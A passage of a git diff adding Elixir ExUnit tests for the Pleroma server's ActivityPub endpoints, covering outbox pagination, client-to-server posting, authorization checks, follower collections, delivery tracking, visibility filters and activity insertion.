activity.data["cc"] + refute recipient.follower_address in activity.data["to"] + end + + test "it requires authentication", %{conn: conn} do + user = insert(:user) + conn = put_req_header(conn, "accept", "application/activity+json") + + ret_conn = get(conn, "/users/#{user.nickname}/inbox") + assert json_response(ret_conn, 403) + + ret_conn = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/inbox") + + assert json_response(ret_conn, 200) + end + end + + describe "GET /users/:nickname/outbox" do + test "it paginates correctly", %{conn: conn} do + user = insert(:user) + conn = assign(conn, :user, user) + outbox_endpoint = user.ap_id <> "/outbox" + + _posts = + for i <- 0..25 do + {:ok, activity} = CommonAPI.post(user, %{status: "post #{i}"}) + activity + end + + result = + conn + |> put_req_header("accept", "application/activity+json") + |> get(outbox_endpoint <> "?page=true") + |> json_response(200) + + result_ids = Enum.map(result["orderedItems"], fn x -> x["id"] end) + assert length(result["orderedItems"]) == 20 + assert length(result_ids) == 20 + assert result["next"] + assert String.starts_with?(result["next"], outbox_endpoint) + + result_next = + conn + |> put_req_header("accept", "application/activity+json") + |> get(result["next"]) + |> json_response(200) + + result_next_ids = Enum.map(result_next["orderedItems"], fn x -> x["id"] end) + assert length(result_next["orderedItems"]) == 6 + assert length(result_next_ids) == 6 + refute Enum.find(result_next_ids, fn x -> x in result_ids end) + refute Enum.find(result_ids, fn x -> x in result_next_ids end) + assert String.starts_with?(result["id"], outbox_endpoint) + + result_next_again = + conn + |> put_req_header("accept", "application/activity+json") + |> get(result_next["id"]) + |> json_response(200) + + assert result_next == result_next_again + end + + test "it returns 200 even if there're no activities", %{conn: conn} do + user = insert(:user) + outbox_endpoint = user.ap_id <> "/outbox" + + conn = + conn + |> assign(:user, user) + |> put_req_header("accept", "application/activity+json") + |> get(outbox_endpoint) + + result = json_response(conn, 200) + assert outbox_endpoint == result["id"] + end + + test "it returns a note activity in a collection", %{conn: conn} do + note_activity = insert(:note_activity) + note_object = Object.normalize(note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + conn = + conn + |> assign(:user, user) + |> put_req_header("accept", "application/activity+json") + |> get("/users/#{user.nickname}/outbox?page=true") + + assert response(conn, 200) =~ note_object.data["content"] + end + + test "it returns an announce activity in a collection", %{conn: conn} do + announce_activity = insert(:announce_activity) + user = User.get_cached_by_ap_id(announce_activity.data["actor"]) + + conn = + conn + |> assign(:user, user) + |> put_req_header("accept", "application/activity+json") + |> get("/users/#{user.nickname}/outbox?page=true") + + assert response(conn, 200) =~ announce_activity.data["object"] + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn + } do + user = insert(:user) + conn = put_req_header(conn, "accept", "application/activity+json") + + ensure_federating_or_authenticated(conn, "/users/#{user.nickname}/outbox", user) + end + end + + describe "POST /users/:nickname/outbox (C2S)" do + setup do: clear_config([:instance, :limit]) + + setup do + [ + activity: %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Create", + "object" => %{"type" => "Note", "content" => "AP C2S test"}, + "to" => "https://www.w3.org/ns/activitystreams#Public", + "cc" => [] + } + ] + end + + test "it rejects posts from other users / unauthenticated users", %{ + conn: conn, + activity: activity + } do + user = insert(:user) + other_user = insert(:user) + conn = put_req_header(conn, "content-type", "application/activity+json") + + conn + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(403) + + conn + |> assign(:user, other_user) + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(403) + end + + test "it inserts an incoming create activity into the database", %{ + conn: conn, + activity: activity + } do + user = insert(:user) + + result = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(201) + + assert Activity.get_by_ap_id(result["id"]) + assert result["object"] + assert %Object{data: object} = Object.normalize(result["object"]) + assert object["content"] == activity["object"]["content"] + end + + test "it rejects anything beyond 'Note' creations", %{conn: conn, activity: activity} do + user = insert(:user) + + activity = + activity + |> put_in(["object", "type"], "Benis") + + _result = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(400) + end + + test "it inserts an incoming sensitive activity into the database", %{ + conn: conn, + activity: activity + } do + user = insert(:user) + conn = assign(conn, :user, user) + object = Map.put(activity["object"], "sensitive", true) + activity = Map.put(activity, "object", object) + + response = + conn + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(201) + + assert Activity.get_by_ap_id(response["id"]) + assert response["object"] + assert %Object{data: response_object} = Object.normalize(response["object"]) + assert response_object["sensitive"] == true + assert response_object["content"] == activity["object"]["content"] + + representation = + conn + |> put_req_header("accept", "application/activity+json") + |> get(response["id"]) + |> json_response(200) + + assert representation["object"]["sensitive"] == true + end + + test "it rejects an incoming activity with bogus type", %{conn: conn, activity: activity} do + user = insert(:user) + activity = Map.put(activity, "type", "BadType") + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + + assert json_response(conn, 400) + end + + test "it erects a tombstone when receiving a delete activity", %{conn: conn} do + note_activity = insert(:note_activity) + note_object = Object.normalize(note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + data = %{ + type: "Delete", + object: %{ + id: note_object.data["id"] + } + } + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", data) + + result = json_response(conn, 201) + assert Activity.get_by_ap_id(result["id"]) + + assert object = Object.get_by_ap_id(note_object.data["id"]) + assert object.data["type"] == "Tombstone" + end + + test "it rejects delete activity of object from other actor", %{conn: conn} do + note_activity = insert(:note_activity) + note_object = Object.normalize(note_activity) + user = insert(:user) + + data = %{ + type: "Delete", + object: %{ + id: note_object.data["id"] + } + } + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", data) + + assert json_response(conn, 400) + end + + test "it increases like count when receiving a like action", %{conn: conn} do + note_activity = insert(:note_activity) + note_object = Object.normalize(note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + data = %{ + type: "Like", + object: %{ + id: note_object.data["id"] + } + } + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", data) + + result = json_response(conn, 201) + assert Activity.get_by_ap_id(result["id"]) + + assert object = Object.get_by_ap_id(note_object.data["id"]) + assert object.data["like_count"] == 1 + end + + test "it doesn't spreads faulty attributedTo or actor fields", %{ + conn: conn, + activity: activity + } do + reimu = insert(:user, nickname: "reimu") + cirno = insert(:user, nickname: "cirno") + + assert reimu.ap_id + assert cirno.ap_id + + activity = + activity + |> put_in(["object", "actor"], reimu.ap_id) + |> put_in(["object", "attributedTo"], reimu.ap_id) + |> put_in(["actor"], reimu.ap_id) + |> put_in(["attributedTo"], reimu.ap_id) + + _reimu_outbox = + conn + |> assign(:user, cirno) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{reimu.nickname}/outbox", activity) + |> json_response(403) + + cirno_outbox = + conn + |> assign(:user, cirno) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{cirno.nickname}/outbox", activity) + |> json_response(201) + + assert cirno_outbox["attributedTo"] == nil + assert cirno_outbox["actor"] == cirno.ap_id + + assert cirno_object = Object.normalize(cirno_outbox["object"]) + assert cirno_object.data["actor"] == cirno.ap_id + assert cirno_object.data["attributedTo"] == cirno.ap_id + end + + test "Character limitation", %{conn: conn, activity: activity} do + Pleroma.Config.put([:instance, :limit], 5) + user = insert(:user) + + result = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(400) + + assert result == "Note is over the character limit" + end + end + + describe "/relay/followers" do + test "it returns relay followers", %{conn: conn} do + relay_actor = Relay.get_actor() + user = insert(:user) + User.follow(user, relay_actor) + + result = + conn + |> get("/relay/followers") + |> json_response(200) + + assert result["first"]["orderedItems"] == [user.ap_id] + end + + test "on non-federating instance, it returns 404", %{conn: conn} do + Config.put([:instance, :federating], false) + user = insert(:user) + + conn + |> assign(:user, user) + |> get("/relay/followers") + |> json_response(404) + end + end + + describe "/relay/following" do + test "it returns relay following", %{conn: conn} do + result = + conn + |> get("/relay/following") + |> json_response(200) + + assert result["first"]["orderedItems"] == [] + end + + test "on non-federating instance, it returns 404", %{conn: conn} do + Config.put([:instance, :federating], false) + user = insert(:user) + + conn + |> assign(:user, user) + |> get("/relay/following") + |> json_response(404) + end + end + + describe "/users/:nickname/followers" do + test "it returns the followers in a collection", %{conn: conn} do + user = insert(:user) + user_two = insert(:user) + User.follow(user, user_two) + + result = + conn + |> assign(:user, user_two) + |> get("/users/#{user_two.nickname}/followers") + |> json_response(200) + + assert result["first"]["orderedItems"] == [user.ap_id] + end + + test "it returns a uri if the user has 'hide_followers' set", %{conn: conn} do + user = insert(:user) + user_two = insert(:user, hide_followers: true) + User.follow(user, user_two) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user_two.nickname}/followers") + |> json_response(200) + + assert is_binary(result["first"]) + end + + test "it returns a 403 error on pages, if the user has 'hide_followers' set and the request is from another user", + %{conn: conn} do + user = insert(:user) + other_user = insert(:user, hide_followers: true) + + result = + conn + |> assign(:user, user) + |> get("/users/#{other_user.nickname}/followers?page=1") + + assert result.status == 403 + assert result.resp_body == "" + end + + test "it renders the page, if the user has 'hide_followers' set and the request is authenticated with the same user", + %{conn: conn} do + user = insert(:user, hide_followers: true) + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/followers?page=1") + |> json_response(200) + + assert result["totalItems"] == 1 + assert result["orderedItems"] == [other_user.ap_id] + end + + test "it works for more than 10 users", %{conn: conn} do + user = insert(:user) + + Enum.each(1..15, fn _ -> + other_user = insert(:user) + User.follow(other_user, user) + end) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/followers") + |> json_response(200) + + assert length(result["first"]["orderedItems"]) == 10 + assert result["first"]["totalItems"] == 15 + assert result["totalItems"] == 15 + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/followers?page=2") + |> json_response(200) + + assert length(result["orderedItems"]) == 5 + assert result["totalItems"] == 15 + end + + test "does not require authentication", %{conn: conn} do + user = insert(:user) + + conn + |> get("/users/#{user.nickname}/followers") + |> json_response(200) + end + end + + describe "/users/:nickname/following" do + test "it returns the following in a collection", %{conn: conn} do + user = insert(:user) + user_two = insert(:user) + User.follow(user, user_two) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/following") + |> json_response(200) + + assert result["first"]["orderedItems"] == [user_two.ap_id] + end + + test "it returns a uri if the user has 'hide_follows' set", %{conn: conn} do + user = insert(:user) + user_two = insert(:user, hide_follows: true) + User.follow(user, user_two) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user_two.nickname}/following") + |> json_response(200) + + assert is_binary(result["first"]) + end + + test "it returns a 403 error on pages, if the user has 'hide_follows' set and the request is from another user", + %{conn: conn} do + user = insert(:user) + user_two = insert(:user, hide_follows: true) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user_two.nickname}/following?page=1") + + assert result.status == 403 + assert result.resp_body == "" + end + + test "it renders the page, if the user has 'hide_follows' set and the request is authenticated with the same user", + %{conn: conn} do + user = insert(:user, hide_follows: true) + other_user = insert(:user) + {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/following?page=1") + |> json_response(200) + + assert result["totalItems"] == 1 + assert result["orderedItems"] == [other_user.ap_id] + end + + test "it works for more than 10 users", %{conn: conn} do + user = insert(:user) + + Enum.each(1..15, fn _ -> + user = User.get_cached_by_id(user.id) + other_user = insert(:user) + User.follow(user, other_user) + end) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/following") + |> json_response(200) + + assert length(result["first"]["orderedItems"]) == 10 + assert result["first"]["totalItems"] == 15 + assert result["totalItems"] == 15 + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/following?page=2") + |> json_response(200) + + assert length(result["orderedItems"]) == 5 + assert result["totalItems"] == 15 + end + + test "does not require authentication", %{conn: conn} do + user = insert(:user) + + conn + |> get("/users/#{user.nickname}/following") + |> json_response(200) + end + end + + describe "delivery tracking" do + test "it tracks a signed object fetch", %{conn: conn} do + user = insert(:user, local: false) + activity = insert(:note_activity) + object = Object.normalize(activity) + + object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) + + conn + |> put_req_header("accept", "application/activity+json") + |> assign(:user, user) + |> get(object_path) + |> json_response(200) + + assert Delivery.get(object.id, user.id) + end + + test "it tracks a signed activity fetch", %{conn: conn} do + user = insert(:user, local: false) + activity = insert(:note_activity) + object = Object.normalize(activity) + + activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url()) + + conn + |> put_req_header("accept", "application/activity+json") + |> assign(:user, user) + |> get(activity_path) + |> json_response(200) + + assert Delivery.get(object.id, user.id) + end + + test "it tracks a signed object fetch when the json is cached", %{conn: conn} do + user = insert(:user, local: false) + other_user = insert(:user, local: false) + activity = insert(:note_activity) + object = Object.normalize(activity) + + object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) + + conn + |> put_req_header("accept", "application/activity+json") + |> assign(:user, user) + |> get(object_path) + |> json_response(200) + + build_conn() + |> put_req_header("accept", "application/activity+json") + |> assign(:user, other_user) + |> get(object_path) + |> json_response(200) + + assert Delivery.get(object.id, user.id) + assert Delivery.get(object.id, other_user.id) + end + + test "it tracks a signed activity fetch when the json is cached", %{conn: conn} do + user = insert(:user, local: false) + other_user = insert(:user, local: false) + activity = insert(:note_activity) + object = Object.normalize(activity) + + activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url()) + + conn + |> put_req_header("accept", "application/activity+json") + |> assign(:user, user) + |> get(activity_path) + |> json_response(200) + + build_conn() + |> put_req_header("accept", "application/activity+json") + |> assign(:user, other_user) + |> get(activity_path) + |> json_response(200) + + assert Delivery.get(object.id, user.id) + assert Delivery.get(object.id, other_user.id) + end + end + + describe "Additional ActivityPub C2S endpoints" do + test "GET /api/ap/whoami", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> get("/api/ap/whoami") + + user = User.get_cached_by_id(user.id) + + assert UserView.render("user.json", %{user: user}) == json_response(conn, 200) + + conn + |> get("/api/ap/whoami") + |> json_response(403) + end + + setup do: clear_config([:media_proxy]) + setup do: clear_config([Pleroma.Upload]) + + test "POST /api/ap/upload_media", %{conn: conn} do + user = insert(:user) + + desc = "Description of the image" + + image = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + object = + conn + |> assign(:user, user) + |> post("/api/ap/upload_media", %{"file" => image, "description" => desc}) + |> json_response(:created) + + assert object["name"] == desc + assert object["type"] == "Document" + assert object["actor"] == user.ap_id + assert [%{"href" => object_href, "mediaType" => object_mediatype}] = object["url"] + assert is_binary(object_href) + assert object_mediatype == "image/jpeg" + + activity_request = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Create", + "object" => %{ + "type" => "Note", + "content" => "AP C2S test, attachment", + "attachment" => [object] + }, + "to" => "https://www.w3.org/ns/activitystreams#Public", + "cc" => [] + } + + activity_response = + conn + |> assign(:user, user) + |> post("/users/#{user.nickname}/outbox", activity_request) + |> json_response(:created) + + assert activity_response["id"] + assert activity_response["object"] + assert activity_response["actor"] == user.ap_id + + assert %Object{data: %{"attachment" => [attachment]}} = + Object.normalize(activity_response["object"]) + + assert attachment["type"] == "Document" + assert attachment["name"] == desc + + assert [ + %{ + "href" => ^object_href, + "type" => "Link", + "mediaType" => ^object_mediatype + } + ] = attachment["url"] + + # Fails if unauthenticated + conn + |> post("/api/ap/upload_media", %{"file" => image, "description" => desc}) + |> json_response(403) + end + end +end diff --git a/test/pleroma/web/activity_pub/activity_pub_test.exs b/test/pleroma/web/activity_pub/activity_pub_test.exs new file mode 100644 index 000000000..804305a13 --- /dev/null +++ b/test/pleroma/web/activity_pub/activity_pub_test.exs @@ -0,0 +1,2260 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ActivityPubTest do + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Activity + alias Pleroma.Builders.ActivityBuilder + alias Pleroma.Config + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Utils + alias Pleroma.Web.AdminAPI.AccountView + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureLog + import Mock + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance, :federating]) + + describe "streaming out participations" do + test "it streams them out" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + {:ok, conversation} = Pleroma.Conversation.create_or_bump_for(activity) + + participations = + conversation.participations + |> Repo.preload(:user) + + with_mock Pleroma.Web.Streamer, + stream: fn _, _ -> nil end do + ActivityPub.stream_out_participations(conversation.participations) + + assert called(Pleroma.Web.Streamer.stream("participation", participations)) + end + end + + test "streams them out on activity creation" do + user_one = insert(:user) + user_two = insert(:user) + + with_mock Pleroma.Web.Streamer, + stream: fn _, _ -> nil end do + {:ok, activity} = + CommonAPI.post(user_one, %{ + status: "@#{user_two.nickname}", + visibility: "direct" + }) + + conversation = + activity.data["context"] + |> Pleroma.Conversation.get_for_ap_id() + |> Repo.preload(participations: :user) + + assert called(Pleroma.Web.Streamer.stream("participation", conversation.participations)) + end + end + end + + describe "fetching restricted by visibility" do + test "it restricts by the appropriate visibility" do + user = insert(:user) + + {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + + {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) + + {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) + + activities = ActivityPub.fetch_activities([], %{visibility: "direct", actor_id: user.ap_id}) + + assert activities == [direct_activity] + + activities = + ActivityPub.fetch_activities([], %{visibility: "unlisted", actor_id: user.ap_id}) + + assert activities == [unlisted_activity] + + activities = + ActivityPub.fetch_activities([], %{visibility: "private", actor_id: user.ap_id}) + + assert activities == [private_activity] + + activities = ActivityPub.fetch_activities([], %{visibility: "public", actor_id: user.ap_id}) + + assert activities == [public_activity] + + activities = + ActivityPub.fetch_activities([], %{ + visibility: ~w[private public], + actor_id: user.ap_id + }) + + assert activities == [public_activity, private_activity] + end + end + + describe "fetching excluded by visibility" do + test "it excludes by the appropriate visibility" do + user = insert(:user) + + {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + + {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) + + {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) + + activities = + ActivityPub.fetch_activities([], %{ + exclude_visibilities: "direct", + actor_id: user.ap_id + }) + + assert public_activity in activities + assert unlisted_activity in activities + assert private_activity in activities + refute direct_activity in activities + + activities = + ActivityPub.fetch_activities([], %{ + exclude_visibilities: "unlisted", + actor_id: user.ap_id + }) + + assert public_activity in activities + refute unlisted_activity in activities + assert private_activity in activities + assert direct_activity in activities + + activities = + ActivityPub.fetch_activities([], %{ + exclude_visibilities: "private", + actor_id: user.ap_id + }) + + assert public_activity in activities + assert unlisted_activity in activities + refute private_activity in activities + assert direct_activity in activities + + activities = + ActivityPub.fetch_activities([], %{ + exclude_visibilities: "public", + actor_id: user.ap_id + }) + + refute public_activity in activities + assert unlisted_activity in activities + assert private_activity in activities + assert direct_activity in activities + end + end + + describe "building a user from his ap id" do + test "it returns a user" do + user_id = "http://mastodon.example.org/users/admin" + {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) + assert user.ap_id == user_id + assert user.nickname == "admin@mastodon.example.org" + assert user.ap_enabled + assert user.follower_address == "http://mastodon.example.org/users/admin/followers" + end + + test "it returns a user that is invisible" do + user_id = "http://mastodon.example.org/users/relay" + {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) + assert User.invisible?(user) + end + + test "it returns a user that accepts chat messages" do + user_id = "http://mastodon.example.org/users/admin" + {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) + + assert user.accepts_chat_messages + end + end + + test "it fetches the appropriate tag-restricted posts" do + user = insert(:user) + + {:ok, status_one} = CommonAPI.post(user, %{status: ". #test"}) + {:ok, status_two} = CommonAPI.post(user, %{status: ". #essais"}) + {:ok, status_three} = CommonAPI.post(user, %{status: ". #test #reject"}) + + fetch_one = ActivityPub.fetch_activities([], %{type: "Create", tag: "test"}) + + fetch_two = ActivityPub.fetch_activities([], %{type: "Create", tag: ["test", "essais"]}) + + fetch_three = + ActivityPub.fetch_activities([], %{ + type: "Create", + tag: ["test", "essais"], + tag_reject: ["reject"] + }) + + fetch_four = + ActivityPub.fetch_activities([], %{ + type: "Create", + tag: ["test"], + tag_all: ["test", "reject"] + }) + + assert fetch_one == [status_one, status_three] + assert fetch_two == [status_one, status_two, status_three] + assert fetch_three == [status_one, status_two] + assert fetch_four == [status_three] + end + + describe "insertion" do + test "drops activities beyond a certain limit" do + limit = Config.get([:instance, :remote_limit]) + + random_text = + :crypto.strong_rand_bytes(limit + 1) + |> Base.encode64() + |> binary_part(0, limit + 1) + + data = %{ + "ok" => true, + "object" => %{ + "content" => random_text + } + } + + assert {:error, :remote_limit} = ActivityPub.insert(data) + end + + test "doesn't drop activities with content being null" do + user = insert(:user) + + data = %{ + "actor" => user.ap_id, + "to" => [], + "object" => %{ + "actor" => user.ap_id, + "to" => [], + "type" => "Note", + "content" => nil + } + } + + assert {:ok, _} = ActivityPub.insert(data) + end + + test "returns the activity if one with the same id is already in" do + activity = insert(:note_activity) + {:ok, new_activity} = ActivityPub.insert(activity.data) + + assert activity.id == new_activity.id + end + + test "inserts a given map into the activity database, giving it an id if it has none." do + user = insert(:user) + + data = %{ + "actor" => user.ap_id, + "to" => [], + "object" => %{ + "actor" => user.ap_id, + "to" => [], + "type" => "Note", + "content" => "hey" + } + } + + {:ok, %Activity{} = activity} = ActivityPub.insert(data) + assert activity.data["ok"] == data["ok"] + assert is_binary(activity.data["id"]) + + given_id = "bla" + + data = %{ + "id" => given_id, + "actor" => user.ap_id, + "to" => [], + "context" => "blabla", + "object" => %{ + "actor" => user.ap_id, + "to" => [], + "type" => "Note", + "content" => "hey" + } + } + + {:ok, %Activity{} = activity} = ActivityPub.insert(data) + assert activity.data["ok"] == data["ok"] + assert activity.data["id"] == given_id + assert activity.data["context"] == "blabla" + assert activity.data["context_id"] + end + + test "adds a context when none is there" do + user = insert(:user) + + data = %{ + "actor" => user.ap_id, + "to" => [], + "object" => %{ + "actor" => user.ap_id, + "to" => [], + "type" => "Note", + "content" => "hey" + } + } + + {:ok, %Activity{} = activity} = ActivityPub.insert(data) + object = Pleroma.Object.normalize(activity) + + assert is_binary(activity.data["context"]) + assert is_binary(object.data["context"]) + assert activity.data["context_id"] + assert object.data["context_id"] + end + + test "adds an id to a given object if it lacks one and is a note and inserts it to the object database" do + user = insert(:user) + + data = %{ + "actor" => user.ap_id, + "to" => [], + "object" => %{ + "actor" => user.ap_id, + "to" => [], + "type" => "Note", + "content" => "hey" + } + } + + {:ok, %Activity{} = activity} = ActivityPub.insert(data) + assert object = Object.normalize(activity) + assert is_binary(object.data["id"]) + end + end + + describe "listen activities" do + test "does not increase user note count" do + user = insert(:user) + + {:ok, activity} = + ActivityPub.listen(%{ + to: ["https://www.w3.org/ns/activitystreams#Public"], + actor: user, + context: "", + object: %{ + "actor" => user.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "artist" => "lain", + "title" => "lain radio episode 1", + "length" => 180_000, + "type" => "Audio" + } + }) + + assert activity.actor == user.ap_id + + user = User.get_cached_by_id(user.id) + assert user.note_count == 0 + end + + test "can be fetched into a timeline" do + _listen_activity_1 = insert(:listen) + _listen_activity_2 = insert(:listen) + _listen_activity_3 = insert(:listen) + + timeline = ActivityPub.fetch_activities([], %{type: ["Listen"]}) + + assert length(timeline) == 3 + end + end + + describe "create activities" do + setup do + [user: insert(:user)] + end + + test "it reverts create", %{user: user} do + with_mock(Utils, [:passthrough], maybe_federate: fn _ -> {:error, :reverted} end) do + assert {:error, :reverted} = + ActivityPub.create(%{ + to: ["user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user2"], + "type" => "Note", + "content" => "testing" + } + }) + end + + assert Repo.aggregate(Activity, :count, :id) == 0 + assert Repo.aggregate(Object, :count, :id) == 0 + end + + test "creates activity if expiration is not configured and expires_at is not passed", %{ + user: user + } do + clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) + + assert {:ok, _} = + ActivityPub.create(%{ + to: ["user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user2"], + "type" => "Note", + "content" => "testing" + } + }) + end + + test "rejects activity if expires_at present but expiration is not configured", %{user: user} do + clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) + + assert {:error, :expired_activities_disabled} = + ActivityPub.create(%{ + to: ["user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user2"], + "type" => "Note", + "content" => "testing" + }, + additional: %{ + "expires_at" => DateTime.utc_now() + } + }) + + assert Repo.aggregate(Activity, :count, :id) == 0 + assert Repo.aggregate(Object, :count, :id) == 0 + end + + test "removes doubled 'to' recipients", %{user: user} do + {:ok, activity} = + ActivityPub.create(%{ + to: ["user1", "user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user1", "user2"], + "type" => "Note", + "content" => "testing" + } + }) + + assert activity.data["to"] == ["user1", "user2"] + assert activity.actor == user.ap_id + assert activity.recipients == ["user1", "user2", user.ap_id] + end + + test "increases user note count only for public activities", %{user: user} do + {:ok, _} = + CommonAPI.post(User.get_cached_by_id(user.id), %{ + status: "1", + visibility: "public" + }) + + {:ok, _} = + CommonAPI.post(User.get_cached_by_id(user.id), %{ + status: "2", + visibility: "unlisted" + }) + + {:ok, _} = + CommonAPI.post(User.get_cached_by_id(user.id), %{ + status: "2", + visibility: "private" + }) + + {:ok, _} = + CommonAPI.post(User.get_cached_by_id(user.id), %{ + status: "3", + visibility: "direct" + }) + + user = User.get_cached_by_id(user.id) + assert user.note_count == 2 + end + + test "increases replies count", %{user: user} do + user2 = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "1", visibility: "public"}) + ap_id = activity.data["id"] + reply_data = %{status: "1", in_reply_to_status_id: activity.id} + + # public + {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "public")) + assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert object.data["repliesCount"] == 1 + + # unlisted + {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "unlisted")) + assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert object.data["repliesCount"] == 2 + + # private + {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "private")) + assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert object.data["repliesCount"] == 2 + + # direct + {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "direct")) + assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert object.data["repliesCount"] == 2 + end + end + + describe "fetch activities for recipients" do + test "retrieve the activities for certain recipients" do + {:ok, activity_one} = ActivityBuilder.insert(%{"to" => ["someone"]}) + {:ok, activity_two} = ActivityBuilder.insert(%{"to" => ["someone_else"]}) + {:ok, _activity_three} = ActivityBuilder.insert(%{"to" => ["noone"]}) + + activities = ActivityPub.fetch_activities(["someone", "someone_else"]) + assert length(activities) == 2 + assert activities == [activity_one, activity_two] + end + end + + describe "fetch activities in context" do + test "retrieves activities that have a given context" do + {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"}) + {:ok, activity_two} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"}) + {:ok, _activity_three} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) + {:ok, _activity_four} = ActivityBuilder.insert(%{"type" => "Announce", "context" => "2hu"}) + activity_five = insert(:note_activity) + user = insert(:user) + + {:ok, _user_relationship} = User.block(user, %{ap_id: activity_five.data["actor"]}) + + activities = ActivityPub.fetch_activities_for_context("2hu", %{blocking_user: user}) + assert activities == [activity_two, activity] + end + + test "doesn't return activities with filtered words" do + user = insert(:user) + user_two = insert(:user) + insert(:filter, user: user, phrase: "test", hide: true) + + {:ok, %{id: id1, data: %{"context" => context}}} = CommonAPI.post(user, %{status: "1"}) + + {:ok, %{id: id2}} = CommonAPI.post(user_two, %{status: "2", in_reply_to_status_id: id1}) + + {:ok, %{id: id3} = user_activity} = + CommonAPI.post(user, %{status: "3 test?", in_reply_to_status_id: id2}) + + {:ok, %{id: id4} = filtered_activity} = + CommonAPI.post(user_two, %{status: "4 test!", in_reply_to_status_id: id3}) + + {:ok, _} = CommonAPI.post(user, %{status: "5", in_reply_to_status_id: id4}) + + activities = + context + |> ActivityPub.fetch_activities_for_context(%{user: user}) + |> Enum.map(& &1.id) + + assert length(activities) == 4 + assert 